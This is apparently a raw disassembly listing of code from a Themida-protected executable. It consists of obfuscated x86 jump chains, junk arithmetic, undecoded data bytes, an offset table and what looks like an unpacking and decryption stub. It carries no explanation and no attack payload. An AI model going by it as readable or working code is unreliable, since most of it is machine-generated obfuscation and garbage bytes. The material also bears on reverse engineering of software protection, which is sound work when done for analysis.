		dd 3FC7E924h, 0C180FFFFh, 80D90058h, 0C05B58E9h, 0EC8302E1h
		dd 14896602h, 8097B624h, 0F100E4E9h, 64668h, 24048900h
		dd 0E100E4B4h, 148B6658h, 2C48324h, 304CE980h, 240C8BC8h
		dd 4C481h, 0C3800000h, 0A6B05064h, 0E1E9C300h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501E4F:				; CODE XREF: Themida_:004F5F60j
		xor	eax, ecx
		push	48B9h
		mov	[esp], eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_4FF6EB
; ---------------------------------------------------------------------------
		db 66h
		dd 9A2BE950h, 0B951FFFFh, 1D375D6Eh, 4D0C181h, 0CE01068Fh
		dd 0E9F00159h, 0FFFFE9DDh
; ---------------------------------------------------------------------------


loc_501E84:				; CODE XREF: Themida_:004F9016j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	ebp
		mov	ebp, 644C6EEBh
		jmp	loc_4FB503
; ---------------------------------------------------------------------------
		dd 83242489h, 8B042404h, 0C481240Ch, 4,	4C181h,	0C1810000h
		dd 4, 0FFAEC9E9h, 2D5D5FFFh, 3E3158BBh,	0FFAFD2E9h, 0E68956FFh
		dd 4C681h, 0C6830000h, 24348704h, 5A7D255Ch, 302D0FBEh
		dd 8103260Ah, 0AC396FEBh, 0F1B3E942h, 7E68FFFFh, 8900004Eh
		dd 0A0E92404h, 0FFFFFFC8h, 81592434h, 4C4h, 0C0DFF600h
		dd 0CF8008E7h, 0E9CFFE70h, 0FFFFAEE8h, 81DEF75Fh, 0E10D9EF6h
		dd 4EC8379h, 0E9240C89h, 0FFFF42F4h
; ---------------------------------------------------------------------------


loc_501F28:				; CODE XREF: Themida_:004FF09Bj
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_4FC1CA
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 61BBh, 54242C89h,	4C5815Dh, 53000000h, 544068h
		dd 241C8900h, 0CDE9E389h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501F57:				; CODE XREF: Themida_:004F70AFj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_4FE9C5
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE5659CFh, 135A17DBh, 0CC5E681h, 0EC81425Dh, 4, 0E9241489h
		dd 0FFFF7ADFh
; ---------------------------------------------------------------------------


loc_501F88:				; CODE XREF: Themida_:004F9E82j
		push	1F5Fh
		mov	[esp], edx
		push	esi
		push	538E2D59h
		jmp	loc_4F8ACE
; ---------------------------------------------------------------------------


loc_501F9B:				; CODE XREF: Themida_:004F6FEBj
		sub	eax, 0E6D8479Fh
		add	ebp, eax
		pop	eax
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		db 0BDh, 67h, 32h
		dd 814D2642h, 2D5D76F5h, 5DE9093Fh, 7FFAF181h, 0CB017F7Fh
		dd 5F6F6859h, 2C890000h, 0A6685024h, 585F9D20h,	0FF5EC7E9h
		dd 4EC83FFh, 0FF5380E9h, 140005FFh, 0E5E934B2h,	66FFFF64h
		dd 0E924048Bh, 0FFFF5A4Bh, 5CE3F381h, 0BF570B9Fh, 57392B88h
		dd 277EC781h, 0FB090F0Fh, 6EBC15Fh, 14C38143h, 1FE64DAh
		dd 60E95BDEh, 68FFFFD6h, 5795h,	0E9241C89h, 0FFFF9622h
		dd 54240489h, 0E92434FFh, 0FFFFB898h, 8106EEC0h, 4ECh
		dd 567AE900h, 5756FFFFh, 0A55F6768h, 0C7815F41h, 662F7361h
		dd 0A13DF781h, 0FE89D896h, 6DF7E95Fh, 48FFFFFh,	24248B24h
		dd 0FF72A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_502071:				; CODE XREF: Themida_:004FE417j
		add	esp, 4
		mov	eax, edi
		jmp	loc_4FE488
; ---------------------------------------------------------------------------
		db 81h
		dd 5F3E1F7h, 5FF929A8h,	0FFF419E9h, 1C4F21FFh, 81240C8Bh
		dd 4C4h, 3C78E900h, 805AFFFFh, 0C38078CBh, 20C1683Ch, 14890000h
		dd 0C5B75324h, 0EF80CFFEh, 6F2668EFh, 0BAE90000h, 59FFFFBCh
		dd 3302C283h, 14312414h, 24143324h, 0D224248Bh,	0E99C242Ch
		dd 0FFFF3C3Eh
; ---------------------------------------------------------------------------


loc_5020D4:				; CODE XREF: Themida_:004FED1Bj
		mov	esp, [esp]
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dd 4C1835Fh, 31240C33h,	0C33240Ch, 591DE924h, 0EEC1FFFFh
		dd 0DFF68108h, 0E9783A21h, 0FFFFCB1Dh, 8B241C87h, 0F7662424h
		dd 4EC81E1h, 89000000h,	0E954240Ch, 0FFFF63EFh,	83240C8Bh
		dd 5FE904C4h, 81FFFFB3h, 460B19E9h, 6992053Ch, 0C8297A41h
		dd 4169922Dh, 26E9597Ah, 51FFFF6Ah, 0FF4914E9h,	5D5455FFh
		dd 0FFF93FE9h, 81E789FFh, 4C7h,	4EF8300h, 5C243C87h, 0B8240489h
		dd 30h,	5C246853h, 815B711Fh, 976616F3h, 0BFEB8136h, 4B6C0639h
		dd 0C92FEB81h, 0C8E9A6ADh, 0BAFFFF69h, 2C6818B3h, 0E18DC281h
		dd 0D331D319h, 5BD9015Ah, 0C76FE951h, 5558FFFFh, 4F9268h
		dd 0B246800h, 24890000h, 24048124h, 4, 0FF786BE9h, 0F4B2FFh
		dd 0CB005AD1h, 0ABC38059h, 0FFBD28E9h, 0DE957FFh
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5021C3:				; CODE XREF: Themida_:004F865Bj
		mov	ebp, 4
		jmp	loc_4FFBEC
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0F6h
		dd 0E968686Fh, 0FFFF3C42h, 8B2434FFh, 0FE92404h, 66FFFF70h
		dd 0E9240C8Bh, 0FFFF5B0Fh, 0F65EEE80h, 0ED01E9DEh, 0BABBFFFFh
		dd 816EB21Eh, 32EC1CBh,	81D3F761h, 7C77BACBh, 43EB8156h
		dd 310FF0B2h, 2434FFDDh, 4C4835Bh, 0FF4BA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50221D:				; CODE XREF: Themida_:004F935Cj
		pop	edi
		jmp	loc_4FCBC4
; ---------------------------------------------------------------------------
		db 89h
		dd 37E95FFAh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50222B:				; CODE XREF: Themida_:00500C1Ej
		mov	ebx, 369F6021h
		jmp	loc_4F784E
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 51h
		dd 81FFFF89h, 0E53D20C7h, 0B620E95Dh, 0FF5FFFFFh, 835B2434h
		dd 316604C4h, 348B66F0h, 2C48324h, 0BE665666h, 0A9E9276Dh
		dd 87FFFFE9h, 665C243Ch, 0E9240489h, 0FFFF3AA2h, 0BB241C89h
		dd 236B008Bh, 63F6EB81h, 0F4E93AECh, 0B9FFFFE4h, 2, 21E9CE01h
		dd 66FFFF7Ch, 68240C8Bh, 39C6h,	0E9241C89h, 0FFFF7848h
		dd 0EA81D2F7h, 66EF8A53h, 0FFE897E9h, 0F28158FFh, 4FCD1A34h
		dd 7789EE81h, 9AE934F0h, 66FFFF79h, 3166EE31h, 88E92434h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5022CB:				; CODE XREF: Themida_:004FA9A8j
		pop	esp
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 2Ah
		dd 816C7050h, 70C480C5h, 8BE901F3h, 0C483242Ch,	4BB5304h
		dd 81000000h, 0C26370C1h, 694FE934h, 0EC81FFFFh, 4, 0B3241C89h
		dd 0BFF38080h, 0EBD0CBFEh, 5012EB80h, 5226B551h, 0C9B095B2h
		dd 285AD000h, 0EB8059E8h, 66C328F0h, 0E9F0B050h, 0FFFFD59Ch
		dd 0EA81C201h, 6F3C2E53h, 0FF9179E9h, 4C481FFh,	81000000h
		dd 4C1h, 240C8700h, 0FF24248Bh,	555A2434h, 8154E954h, 0C681FFFFh
		dd 4, 8704EE83h, 895C2434h, 4BF243Ch, 0E9000000h, 0FFFF7A11h
		dd 240C8B66h, 4DA668h, 24148900h, 0B951E289h, 249C3D6Bh
		dd 3D6FF181h, 0C5E9249Ch
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50238B:				; CODE XREF: Themida_:0050113Cj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aARw		db 'aÃRW¿<',0
		db 2 dup(0), 89h
		dd 0B9515FFAh, 0D1B0F42h, 6DEEA81h, 0CA29173Dh,	6DEC281h
		dd 0C8B173Dh, 4C48324h,	7C68FA01h, 8900004Fh, 81E9243Ch
		dd 5AFFFF75h, 0FFF530E9h, 3944E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5023CE:				; CODE XREF: Themida_:004F8A6Dj
		mov	[esp], edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_500006
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B54241Ch, 0C483241Ch, 44E8E904h,	0D801FFFFh
		dd 0FFF51FE9h, 1C77FFFFh, 6659669Dh, 9C2414D3h,	0FF38EDE9h
		dd 80C1FEFFh, 0CF20CBF1h, 0FFFACAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_502431:				; CODE XREF: Themida_:00501CB1j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	1C0Bh
		mov	[esp], ecx
		mov	ecx, 0C268Dh
		sub	ecx, 1
		dec	ecx
		or	ecx, 224F3F9Eh
		add	ecx, 1B4C15CFh
		jmp	loc_4FAB15
; ---------------------------------------------------------------------------
		dd 3A77BE56h, 81464692h, 19583EF6h, 28F6810Ch, 0C13C607Ah
		dd 0F68104E6h, 1BD74D8Eh, 219E9h, 48B6600h, 1A06824h, 0DE90000h
		dd 81FFFFF1h, 0D41FD6F3h, 0C3814306h, 0F1D1DA9Bh, 0FF566AE9h
		dd 0BB535EFFh, 5235637Ah, 0C1EDBE56h, 0F33129F5h, 5BDF895Eh
		dd 815EF729h, 0AA04246Ch, 116BA73h, 8104247Ch, 0AA042444h
		dd 8B16BA73h, 0C483243Ch, 0C6ECE904h, 8356FFFFh, 8BFF2404h
		dd 0C4812434h, 4, 0FFB296E9h, 2C283FFh,	2474FF52h, 1AE95A04h
		dd 0FFFFFF89h, 8B042474h, 8951243Ch, 0E063E9E1h, 8B66FFFFh
		dd 4B682404h, 89000028h, 0E189240Ch, 4EC81h, 14890000h
		dd 4BA24h, 0D1010000h, 4EC835Ah, 68242C89h, 2, 81242C8Bh
		dd 4C4h, 8BE90100h, 0C483242Ch,	74FF5104h, 0E9590424h
		dd 0FFFF7564h, 0D0CCE950h, 3489FFFFh, 4BE24h, 0F3010000h
		dd 4EC815Eh, 89000000h,	2BF243Ch, 1000000h, 1C875FFBh
		dd 82E95C24h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_502573:				; CODE XREF: Themida_:004FFF27j
		xor	eax, edi
		pop	edi
		and	ecx, eax
		pop	eax
		jmp	loc_4FA225
; ---------------------------------------------------------------------------


loc_50257E:				; CODE XREF: Themida_:004F9064j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_4FA74C
; ---------------------------------------------------------------------------


loc_502589:				; CODE XREF: Themida_:004FC30Cj
		add	edi, 2B8434F9h
		not	edi
		jmp	loc_4F942D
; ---------------------------------------------------------------------------


loc_502596:				; CODE XREF: Themida_:004F98E6j
		mov	edi, 0BA90E05h
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	esp
		jmp	loc_4FAF9C
; ---------------------------------------------------------------------------


loc_5025AB:				; CODE XREF: Themida_:004FD4F7j
		mov	ebp, ecx
		jmp	loc_5010F9
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 57E529ACh, 3AE9C601h, 0BFFFFF6Eh, 167356D6h,	0FF5FFB01h
		dd 815A2434h, 4C4h, 241C8700h, 9CC1385Ch, 0FF3735E9h, 148B66FFh
		dd 2B986824h, 34890000h, 8DE95424h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5025EF:				; CODE XREF: Themida_:004FA6F0j
		mov	ecx, 214711E7h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_4FF56F
; ---------------------------------------------------------------------------


loc_5025FC:				; CODE XREF: Themida_:004FDA2Fj
		mov	[edx], ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		db 1
		dd 19E958C7h, 5DFFFFA3h, 77D9BA52h, 3AE90C9Fh, 68FFFF69h
		dd 2409h, 0E9240489h, 0FFFF36E2h, 9B3FE94Fh, 405FFFFh
		dd 0E9000000h, 0FFFF5FCCh, 384F81BFh, 0D1BBE971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50264A:				; CODE XREF: Themida_:00500018j
		push	ebp
		push	1DD971E5h
		jmp	loc_4F82E9
; ---------------------------------------------------------------------------
		align 2
		dw 59C8h
		dd 0E92B2C5Bh, 0FFFFCDE0h, 0C2242C81h, 810BEA7Dh, 4ECh
		dd 242C8900h, 0B04316BDh, 0F5814D54h, 5932647Ah, 2D22F581h
		dd 6C010B8Bh, 0E95D0424h, 0FFFF3686h
; ---------------------------------------------------------------------------


loc_50268C:				; CODE XREF: Themida_:004FBB15j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_501324
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 0FFA20BE9h, 4C483FFh, 0E904C483h, 0FFFF8B03h, 1A89C389h
		dd 24148B5Bh, 4C481h, 34FF0000h, 24048B24h, 6804C483h
		dd 76FDh, 0E9243C89h, 0FFFFEA26h, 8B242C87h, 0BBE92424h
		dd 0F7FFFFE0h, 63B568E1h, 14890000h, 0F482E924h, 0C368FFFFh
		dd 8900007Eh, 0E6E9240Ch
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5026F3:				; CODE XREF: Themida_:004FBD9Dj
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	4AD2h
		mov	[esp], eax
		jmp	loc_4FEFE3
; ---------------------------------------------------------------------------
		db 1
		dd 14875DEAh, 24248B24h, 4B30F66h, 0F3E99C24h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50271F:				; CODE XREF: Themida_:004F92ECj
		and	edi, 54A97DEFh
		jmp	loc_500612
; ---------------------------------------------------------------------------


loc_50272A:				; CODE XREF: Themida_:004F833Fj
		mov	ebp, esp
		add	ebp, 4
		push	7471h
		mov	[esp], edx
		mov	edx, 4
		add	ebp, 5E243E90h
		sub	ebp, 72A22A01h
		add	ebp, 2B8B246Dh
		add	ebp, edx
		sub	ebp, 2B8B246Dh
		add	ebp, 72A22A01h
		jmp	loc_4FD2C3
; ---------------------------------------------------------------------------
		dd 0EF3EE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50276A:				; CODE XREF: Themida_:00501B63j
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		db 0ACh
		dd 92E9D830h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_502777:				; CODE XREF: Themida_:004FE0C8j
		pop	edi
		push	eax
		mov	eax, 0DE74371Ch
		add	ebx, eax
		pop	eax
		and	ebp, ebx
		pop	ebx
		jmp	loc_4FD941
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 54h
		dd 0F763785Ah, 0E5BE56DAh, 811A145Fh, 9A684CE6h, 0E94E4E2Bh
		dd 0FFFFEA77h, 55569Eh,	0AEFEh,	7FFE0304h, 7E449BC8h, 0FA6CDCB7h
		dd 9B69DDh, 554A5Ah, 203h, 2, 1, 5, 0FA6CDCB7h,	5 dup(0)
		dd offset byte_5041AF
		dd offset byte_50F459
		dd offset off_50DB5D
		dd offset aN1Hn9	; "­1Øh9"
		dd offset word_50503E
		dd offset byte_50C209
		dd offset word_50E132
		dd offset word_50DC42
		dd offset word_50A55E
		dd offset byte_5159D5
		dd offset word_50A822
		dd offset dword_5158BC
		dd offset dword_50780C
		dd offset dword_510C98
		dd offset dword_513700
		dd offset byte_506D93
		dd offset dword_516574
		dd offset byte_50A973
		dd offset byte_51202B
		dd offset byte_5158D9
		dd offset dword_502BA8
		dd offset dword_5071C0
		dd offset dword_50CA14
		dd offset dword_50F0F4
		dd offset dword_509388
		dd offset byte_50EEDF
		dd offset byte_51114D
		dd offset byte_50F27B
		dd offset dword_507028
		dd offset byte_50F08D
		dd offset word_50C6E6
		dd offset byte_506D77
		dd offset word_51764E
		dd offset word_50A262
		dd offset byte_510927
		dd offset byte_502B1D
		dd offset word_5047A2
		dd offset byte_516549
		dd offset byte_505CC9
		dd offset word_50ECEA
		dd offset word_50713E
		dd offset byte_5041DF
		dd offset byte_50A189
		dd offset word_5151C2
		dd offset aM0SfqYiqsW	; "¬0ØSfQµYˆïéÃw"
		dd offset byte_503683
		dd offset byte_5077B1
		dd offset word_514272
		dd offset byte_50CE8B
		dd offset dword_5159B0
		dd offset byte_5169D3
		dd offset byte_514AB5
		dd offset byte_51126D
		dd offset dword_50F8D8
		dd offset byte_5047DB
		dd offset byte_5045BF
		dd offset aMsx		; "Žx("
		dd offset byte_515309
		dd offset word_51418A
		dd offset dword_5056D0
		dd offset byte_51388F
		dd offset byte_50C983
		dd offset dword_50577C
		dd offset dword_50E874
		dd offset dword_50E8AC
		dd offset byte_5169BD
		dd offset dword_513DE8
		dd offset aNsgi		; "­ég‰"
		dd offset dword_50E08C
		dd offset word_50BC46
		dd offset byte_50AFF9
		dd offset byte_50CECB
		dd offset byte_50A475
		dd offset word_5108B6
		dd offset word_50C49A
		dd offset word_50389E
		dd offset byte_511EBB
		dd offset byte_51555D
		dd offset word_50478E
		dd offset byte_5076C3
		dd offset word_50DAF2
		dd offset byte_50687B
		dd offset byte_509121
		dd offset word_503CFA
		dd offset byte_51563D
		dd offset dword_5155F0
		dd offset aMrPTFshT	; "¬R²Àâ\bfShËT"
		dd offset dword_50645C
		dd offset byte_517BCF
		dd offset byte_50474F
		dd offset dword_516938
		dd offset byte_50B1A7
		dd offset aNQBS		; "­-Ÿ{%éµ/"
		dd offset byte_50BB5D
		dd offset word_5030A2
		dd offset word_514802
		dd offset aNsU		; "­é\au"
		dd offset byte_50AC61
		dd offset dword_5114B4
		dd offset word_510032
		dd offset byte_50B02B
		dd offset word_5155A2
		dd offset byte_508489
		dd offset byte_510C85
		dd offset aMsA		; "Ž;A"
		dd offset byte_5105BF
		dd offset dword_517D54
		dd offset aNFgojvspi	; "­-”GŽJVéP¨"
		dd offset word_509412
		dd offset byte_5131A3
		dd offset dword_503D20
		dd offset dword_507E04
		dd offset byte_5084FF
		dd offset byte_50424B
		dd offset word_5037AE
		dd offset dword_50DA14
		dd offset dword_503D14
		dd offset byte_51734B
		dd offset aMhso		; "¬háO"
		dd offset byte_50E409
		dd offset word_502B16
		dd offset word_512F9A
		dd offset byte_508BC3
		dd offset word_506B56
		dd offset dword_507F50
		dd offset byte_50F81D
		dd offset byte_509493
		dd offset dword_5153C4
		dd offset word_5155CE
		dd offset dword_504F6C
		dd offset dword_5127A8
		dd offset byte_50C427
		dd offset dword_504CCC
		dd offset byte_50872F
		dd offset byte_512E09
		dd offset word_50E342
		dd offset word_50F9F6
		dd offset dword_511904
		dd offset byte_50F9FF
		dd offset byte_5123E9
		dd offset byte_503767
		dd offset dword_516090
		dd offset byte_510585
		dd offset byte_505323
		dd offset aMhA		; "¬hµA"
		dd offset byte_50518B
		dd offset dword_506B94
		dd offset aMps		; "¬Pé²;"
		dd offset dword_503A58
		dd offset dword_50F694
		dd offset byte_50C2B7
		dd offset word_50974E
		dd offset byte_505F79
		dd offset word_50372E
		dd offset dword_508344
		dd offset word_50D0A2
		dd offset byte_50A6DF
		dd offset word_507DEA
		dd offset dword_50DCD0
		dd offset byte_508445
		dd offset word_50A24A
		dd offset word_51513E
		dd offset byte_50B0E9
		dd offset byte_510ECF
		dd offset dword_512C04
		dd offset dword_51462C
		dd offset dword_517E30
; ---------------------------------------------------------------------------


loc_502A84:				; CODE XREF: Themida_:0054AEDAj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E34DD5h
		mov	eax, edi
		add	edi, 5E34AEDh
		cmp	eax, [edi+2Ch]
		jnz	short loc_502AA2
		jmp	short loc_502AB5
; ---------------------------------------------------------------------------


loc_502AA2:				; CODE XREF: Themida_:00502A9Ej
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_502AB1
; ---------------------------------------------------------------------------


loc_502AAC:				; CODE XREF: Themida_:00502AB3j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_502AB1:				; CODE XREF: Themida_:00502AAAj
		or	ecx, ecx
		jnz	short loc_502AAC


loc_502AB5:				; CODE XREF: Themida_:00502AA0j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_502AC2:				; CODE XREF: Themida_:00502AC9j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_502AC2


loc_502ACB:				; CODE XREF: Themida_:00502BBFj
					; Themida_:loc_505C5Aj	...
		lodsb
		xor	al, bl
		push	4434h
		mov	[esp], edx
		jmp	loc_5057EE
; ---------------------------------------------------------------------------
		db 83h
		dd 0ED8104C4h, 4DE8BAABh, 34FFEB29h, 0C4815D24h, 4, 4EC81h
		dd 4890000h, 0B78B824h,	565242A6h, 5628E9h
		db 0
; ---------------------------------------------------------------------------


loc_502B05:				; CODE XREF: Themida_:00507604j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_50EF3F
; ---------------------------------------------------------------------------
word_502B16	dw 32FFh		; DATA XREF: Themida_:005029C8o
		dd 0FFFFAEE9h
		db 0FFh
byte_502B1D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00502874o
		dd 89525724h, 4C281E2h,	81000000h, 4EAh, 24148700h, 1271BE9h
		dd 48F5E00h, 24248B24h,	24048966h, 0FFFF82E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_502B49:				; CODE XREF: Themida_:00512929j
		mov	[esp], ebx
		jmp	loc_514562
; ---------------------------------------------------------------------------


loc_502B51:				; CODE XREF: Themida_:005151BDj
		or	dh, 48h
		shl	dh, 4
		and	dh, 0E1h
		dec	dh
		xor	dh, 6Bh
		add	bl, dh
		pop	edx
		sub	bl, 89h
		add	bl, 0F9h
		jmp	loc_516536
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 6Ch
		dd 44810424h, 76DE0424h, 34FF24F2h, 0C4835D24h,	24048B04h
		dd 4C481h, 0FD680000h, 8900004Eh, 0E955240Ch, 14A13h, 0BB53D6F7h
		dd 4321671Dh, 0E95BDE01h, 908Bh
dword_502BA8	dd 240C8B66h, 111A6E9h	; DATA XREF: Themida_:00502838o
		db 0
; ---------------------------------------------------------------------------


loc_502BB1:				; CODE XREF: Themida_:00503337j
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		dd 8704C183h, 9FE9240Ch
		db 28h,	1, 0
; ---------------------------------------------------------------------------


loc_502BCF:				; CODE XREF: Themida_:005164D0j
		mov	esp, [esp]
		xchg	ebx, [esp]
		jmp	loc_50DC14
; ---------------------------------------------------------------------------
a1Ssc		db '1Îé˜æ',0
		db 0
; ---------------------------------------------------------------------------


loc_502BE1:				; CODE XREF: Themida_:0050AC6Ej
		push	ebx
		mov	ebx, 118164E2h
		and	eax, ebx
		pop	ebx
		and	eax, 1BD71DD3h
		shl	eax, 4
		add	eax, 0F0000004h
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_507D89
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 241C8BDAh,	55E08950h, 216AB850h, 5DE9268Dh
		dd 5F000044h, 117D2E9h,	81EA0100h, 1454F2EAh, 55EA8108h
		dd 5D135B29h, 8B241487h, 0F1F62424h, 0CCB60F66h, 7E586866h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFFE7Bh, 0CBDDE958h
		dd 14890000h, 7D4AE924h, 0B9510000h, 1DFF0A85h,	12C3EE9h
		dd 180F6800h, 1FE90000h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502C73:				; CODE XREF: Themida_:0050AE98j
		sub	dword ptr [esp+4], 94C52EBh
		push	dword ptr [esp]
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_515605
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812424h, 4, 4C181h, 0E9560000h, 8D17h, 83BA5250h
		dd 5123666Bh, 51172CB9h, 545BB82Fh, 0DCE9F415h,	5900013Fh
		dd 8148E9h, 0FDFDE900h,	0E289FFFFh, 4C281h, 0C2830000h
		dd 24148704h, 27D5E9h, 4EC8100h, 89000000h, 0BA522424h
		dd 4, 4245401h,	4A1FE95Ah, 3C8B0000h, 47BBE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_502D02:				; CODE XREF: Themida_:0051011Cj
		pop	edx
		push	ebx
		mov	ebx, 74837126h
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_517AB3
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 5C790CBFh, 0FD7EE921h, 34310000h, 0EEFEE924h, 0E1890000h
		dd 141ECE9h, 240C8900h,	27B6CFB9h, 0E9CB316Bh, 6AB3h, 8B2434FFh
		dd 0C4832404h, 1C1BE904h, 0C4810001h, 4, 1428DE9h
		db 0
; ---------------------------------------------------------------------------


loc_502D5D:				; CODE XREF: Themida_:005044EEj
		sub	[esp+8], ebx
		pop	ebx
		mov	ebp, [esp]
		push	2794h
		jmp	loc_50B6F0
; ---------------------------------------------------------------------------


loc_502D6F:				; CODE XREF: Themida_:00514AFEj
		add	ebp, 4E8550E0h
		jmp	loc_5057AA
; ---------------------------------------------------------------------------
aLVicsG		db '‹<$V‰æé»g',0
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	4
		jmp	loc_50D218
; ---------------------------------------------------------------------------
		db 89h
		dd 3BA2414h, 0E9239B56h, 573Bh,	21BEB81h, 50E9FF34h, 800000E3h
		dd 0C7E973CEh, 520000D7h, 0BD555A54h, 4, 815DEA01h, 4C2h
		dd 24143300h, 0E9241431h, 37B2h, 0E9E38953h, 13BA8h, 923F6F05h
		dd 2DD8017Eh, 7E923F6Fh, 4EC81h, 2C890000h, 50E58924h
		dd 4B8h, 58C50100h, 5BE6BE56h, 0C681762Ch, 89D3A41Eh, 875EF529h
		dd 0B2E9242Ch
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502E0F:				; CODE XREF: Themida_:0050984Dj
		pop	eax
		push	edi
		pop	eax
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebp, 9871BFEh
		add	ebp, eax
		push	51C3h
		mov	[esp], ecx
		jmp	loc_503F89
; ---------------------------------------------------------------------------
aZ0qy		db 'Z0ïY',0
		db 0D7h
		dd 0E924148Bh, 12053h
; ---------------------------------------------------------------------------


loc_502E54:				; CODE XREF: Themida_:0051451Bj
		mov	[esp], eax
		mov	eax, 0AE2184Dh
		sub	eax, 33AA4F2Ch
		sub	eax, 0FFFFFFFFh
		add	eax, 6A379F5h
		add	eax, 3E0DD7E7h
		add	ebp, 7B8A1B71h
		add	ebp, eax
		sub	ebp, 7B8A1B71h
		mov	eax, [esp]
		add	esp, 4
		shr	ebp, 2
		xor	ebp, 71AC6BEh
		and	eax, ebp
		jmp	loc_50C790
; ---------------------------------------------------------------------------


loc_502E92:				; CODE XREF: Themida_:005146F4j
		add	esp, 4
		jmp	loc_506802
; ---------------------------------------------------------------------------


loc_502E9A:				; CODE XREF: Themida_:00510ADBj
		shr	ebx, 6
		and	ebx, 5DFA3332h
		jmp	loc_503DAE
; ---------------------------------------------------------------------------


loc_502EA8:				; CODE XREF: Themida_:0050370Ej
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_508134
; ---------------------------------------------------------------------------


loc_502EBA:				; CODE XREF: Themida_:00504828j
		pop	esi
		jmp	loc_509B37
; ---------------------------------------------------------------------------
aLSN		db '‹$$éÜN',0
		align 4


loc_502EC8:				; CODE XREF: Themida_:0050DAD6j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_50DEBE
; ---------------------------------------------------------------------------


loc_502ED3:				; CODE XREF: Themida_:005098F9j
		sub	eax, 414D04DFh
		add	eax, ecx
		push	ecx
		mov	ecx, 414D04DFh
		add	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
